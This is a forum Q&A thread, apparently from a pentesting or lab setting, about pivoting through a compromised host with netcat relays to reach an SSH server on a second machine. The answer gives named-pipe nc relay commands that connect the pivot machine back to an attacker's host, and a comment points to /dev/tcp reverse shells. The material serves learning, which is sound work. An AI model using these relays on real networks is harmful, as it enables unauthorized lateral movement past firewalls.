So I have a shell into machine A which doesn't have ssh installed and I can't get a tty shell on (I've tried all of the tty cheat sheets, I think this is intentional)

Through machine A I can see machine B which has a ssh server running on port 2222.

What I'd like to do is either figure out how to use netcat to connect to ssh manually or use netcat to go from my attacking machine to machine A to machine B.

I first tried nc -lvp 444 -c 'nc machine.b 2222' but I can't bind to Machine A, I'm guessing firewall rules.

Next I tried forwarding the connection back to my attacking machine nc attacking.machine 444 -c 'nc machine.b 2222' which works but I realized once it's forwarded back to my attacking machine, I can't access the port to connect to it with ssh.

This is the network design... I think

enter image description here

  • 1
    Have you tried /dev/tcp ? I wrote the addition to pwnwiki.io/#!scripting/bash.md search for "bash reverse shell" you may want to swap to socat on the receiving side to support readline.
    – Oneiroi
    Commented Jul 4, 2018 at 9:39
  • I think socat might be the answer. I saw it but thought it needed to be on the pivot machine. I read the docs and it makes sense Commented Jul 4, 2018 at 12:17

1 Answer 1


Okay so the answer is to use a netcat relay. I found this cheat sheet from Sans that has some great nc commands on it. I also got some sage wisdom from @BetterSafteyNet which led me to the PDF. With their powers combined I came up with the series of commands below to make this work.

Using the diagram I originally posted as a legend:

First setup the listener relay on the attacking machine

~$ cd /tmp; mknod backpipe p
~$ nc -lvp <listen port 1> 0<backpipe | nc -lvp <listen port 2> | tee backpipe

Next setup the client to client relay on Machine A (the pivot machine)

~$cd /tmp; mknod backpipe p 
~$nc <machine b ip> <ssh port> 0<backpipe | nc <attack machine ip> <listening port 1> | tee backpipe   

Finally make the SSH connection from the attacking machine

~$ssh [email protected] -p <listen port 2>
  • 1
    Thank you, this was the first time I had to pivot (just starting to learn!) and you helped me a ton. I'm currently in a docker container and can't get a reverse shell, but I CAN get into the mysql through the tunnel
    – Yablargo
    Commented Oct 21, 2019 at 2:37

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .